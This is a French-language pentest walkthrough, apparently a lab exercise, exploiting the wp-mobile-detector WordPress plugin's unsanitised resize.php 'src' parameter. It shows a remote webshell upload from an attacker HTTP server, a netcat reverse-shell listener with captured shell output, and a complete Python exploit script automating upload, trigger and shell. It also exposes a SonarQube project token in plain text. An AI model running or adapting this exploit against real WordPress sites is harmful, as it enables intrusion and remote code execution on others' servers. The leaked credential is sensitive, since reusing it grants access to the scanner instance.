🔐Pentest wp-mobile-detector

On commence tout d'abord par créer l'environnement docker.

Comme ici le plugin wordpress à auditer est assez ancien, il est nécessaire de passer par un conteneur :

# Sur ma kali
docker run --name wordpress -p80:80 -d thiagobarradas/wordpress:4.5-php7.2

MDP : Mudar123

On peut ensuite s'y connecter :

# Shell dans le docker 
$ docker ps

CONTAINER ID   IMAGE                                 COMMAND     CREATED       STATUS       PORTS                                         NAMES
208f62cd787e   thiagobarradas/wordpress:4.5-php7.2   "/run.sh"   6 hours ago   Up 5 hours   0.0.0.0:80->80/tcp, :::80->80/tcp, 3306/tcp   wordpress

$ docker exec -it 208f62cd787e bash

# Dans le docker 
root@208f62cd787e:/app#

Il faut ensuite paramétrer le plugin de façon à augmenter la limite de taille et omettre la configuration du serveur FTP :

root@208f62cd787e:/app# vim php.ini
# Ajouter les directives suivantes :
        upload_max_filesize = 64M
        post_max_size = 128M
        memory_limit = 264M
root@208f62cd787e:/app# vim wp-config.php
# De même :
        define( 'FS_METHOD', 'direct' );

On peut commencer à chercher les occurrences mentionnées sur le sujet dans l'archive dézippés du plugin. A savoir les requêtes HTTP utilisées en PHP à l'aide variables commençant par un "$_" :

grep -E -n '\$_GET|_COOKIE|_POST|_HEAD|_REQUEST|_PUT|_DELETE|_CONNECT|_OPTIONS|_TRACE|_PATCH' $(find . -name "*.php")

Ici on fait un regex (expression régulière), nous permettant de trouver toutes les variables présentes dans tout les fichiers .php des fichiers présents dans l'archive.

On obtient ainsi en output :


[...]

/wp-mobile-detector/resize.php:3:

$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);

./wp-mobile-detector/resize.php:28:

file_put_contents($path, file_get_contents($_REQUEST['src']));

./wp-mobile-detector/resize.php:38:                       

$thumb -> Thumbsize = ($_REQUEST['w'] > 0 && $_REQUEST['w'] <= 320 ? $_REQUEST['w'] : 320);

[...]

Un détail saute aux yeux directement, il s'agit de la fonction "file_put_contents" présente dans le fichier de redimensionnement d'image "resize.php". Elle dépose un fichier passé en paramètre après "src" :

file_put_contents($path, file_get_contents($_REQUEST['src']));

En examinant le fichier plus en détail :

file_put_contents($path, file_get_contents($_REQUEST['src']));
                if(file_exists(dirname(__FILE__)."/libs/image/PHP5/easyphpthumbnail.class.php"))
{
    if (defined('PHP_MAJOR_VERSION') && PHP_MAJOR_VERSION >= 5)
    {
	    include_once(dirname(__FILE__)."/libs/image/PHP5/easyphpthumbnail.class.php");
    }
    else
    {
		include_once(dirname(__FILE__)."/libs/image/PHP4/easyphpthumbnail.class.php");                }                    
    try
    {
        $thumb = new easyphpthumbnail;
        $thumb -> Thumbsize = ($_REQUEST['w'] > 0 && $_REQUEST['w'] <= 320 ? $_REQUEST['w'] : 320);
        echo $thumb -> Createthumb($path);
        exit();
    } catch (Exception $e) 
    {
        // $e->getMessage()
    }
}

"file_put_contents" fait appel ici au tableau associatif $REQUEST pouvant être manipulé par l'utilisateur. On peut donc y passer une valeur, ici un fichier, après le paramètre "src", prenant son chemin absolu, avec "dirname".

Le fichier est ensuite déposé dans le dossier "/cache/" du plugin :

$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);

De plus, aucune vérification d'extension ni sanitisation n'est faite sur la valeur passé en paramètre, qui est ici un fichier. On peut donc d'emblée essayer d'y uploader un fichier.

On commence d'abord par démarrer notre serveur Python dans u répertoire prévu à cette effet. Ici, on essaye d'abord avec un fichier .php sans rien à l'intérieur :

mkdir server

┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin]
└─ cd server/

┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─ echo "hello world" > hello.php

┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─ python -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...

On accédant à la page, rien ne se trouve en front (ce qui est normal) :

Mais en insérant un paramètre dans l'url qui redirige directement vers notre fichier : http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/hello.php

On peut maintenant se rendre dans la page où est stockée le fichier, à savoir "/cache" :

http://localhost/wp-content/plugins/wp-mobile-detector/cache/

Notre fichier php est bien uploadé ! Sans plus attendre, on peut dès maintenant y insérer un Webshell, généré avec le superbe outil http://revshells.com :

Le fichier est désormais enregistré en tant que "shell.php". Après avoir séléctionné notre payload et mis le port et l'adresse IP, on peut mettre un netcat en listener :

$ nc -lvnp 9001

Puis ensuite remplacer notre hello.php en un shell.php :

$ mv hello.php shell.php

Puis on pointe notre webshell vers notre nouveau fichier : http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/shell.php

Puis dans notre netcat :

──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [172.18.0.1] from (UNKNOWN) [172.17.0.2] 35112
Linux 208f62cd787e 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali1 (2023-02-20) x86_64 GNU/Linux
 15:04:39 up  5:49,  0 users,  load average: 0.11, 0.07, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ id
www-data

Et nous sommes connectés !

Analyse statique à l’aide d’un outil dédié :

On choisit d'abord de l'installer dans un Docker :

docker pull sonarqube

Création d'un conteneur Docker nommé "sonarqube" et l'exposer sur le port 9000 :

docker run -d --name sonarqube -p 9000:9000 sonarqube

Se connecter en http://localhost:9000 puis créez un projet et notez sa clé :

// Token projet wordpress
sqp_426b09312d11c799be029d732080daade6585261

Télécharger et installez le scanner SonarQube pour sur notre machine locale, puis l'utilisez pour analyser l'archive du plugin:


curl https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-4.8.0.2856-linux.zip

unzip -d . sonar-scanner-cli-4.8.0.2856-linux.zip
../../sonarqube/sonar-scanner/bin/sonar-scanner   
-Dsonar.projectKey=Wordpress   
-Dsonar.sources=.   
-Dsonar.host.url=http://localhost:9000   
-Dsonar.login=sqp_426b09312d11c799be029d732080daade6585261

Cette commande va analyser le code PHP dans le répertoire actuel et envoyer les résultats à SonarQube.

On retourne sur l'interface web de SonarQube et accédez à votre projet. On voit maintenant voir les résultats de l'analyse de code PHP :

Rédaction d'un script python pour automatiser la tâche

Il est maintenant temps de créer un script nous permettant d'obtenit un accès complet au serveur :

import http.server
import socketserver
import requests
from urllib.parse import quote
import threading
from requests.models import PreparedRequest
from http.server import BaseHTTPRequestHandler
import socket, sys, time
import netifaces
from urllib.parse import urlparse, unquote
import os

# Glob vars
print("Don't forget the run a python http web server to host your payload : $ python3 -m http.server PORT_NUMBER")
UPLOAD_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/resize.php"
GETSHELL_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/cache/"
IP_ADDR = input("Please provide your IP : ")
PORT = input("Please prove a port : ")
PAYLOAD = input("Please provide your payload : ")

# starting the listener
def listen(ip,port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	# same as previously
	s.bind((IP_ADDR, port))
	s.listen(1)
	print("Listening on port " + str(port))
	conn, addr = s.accept()
	print('Connection received from ',addr)
	while True:
		#Receive data from the target and get user input
		ans = conn.recv(1024).decode()
		sys.stdout.write(ans)
		command = input()
		#Send command
		command += "\n"
		conn.send(command.encode())
		time.sleep(1)
		#Remove the output of the "input()" function
		sys.stdout.write("\033[A" + ans.split("\n")[-1])

def startingAttack():
	# getting the http web server address
	protocol = "http"
	attack_param = f"{protocol}://{IP_ADDR}:{PORT}/{PAYLOAD}"
	print("Attack param to send : ", attack_param)
	# testing the parameters utils
	# for the uploading url
	req = PreparedRequest()
	url = UPLOAD_ADDR
	# params with ip and file from the http server
	params = {'src':attack_param}
	# Passing params and decoding
	req.prepare_url(url, params)
	upload_url_param = unquote(req.url)
	print("Upload URL: ", upload_url_param)
	
	# Same for the getshell_addr
	url_with_payload = GETSHELL_ADDR + PAYLOAD
	print("Getting a shell at : " + url_with_payload)
	# A GET request to the URLs
	upload_response = requests.get(upload_url_param)
	#print(upload_response)
	# To obtain a shell
	os.system("curl " + url_with_payload)
	#print(attack_response)

startingAttack()
listen("127.0.0.1",9999)

On automatise ainsi directement l'attaque :

Last updated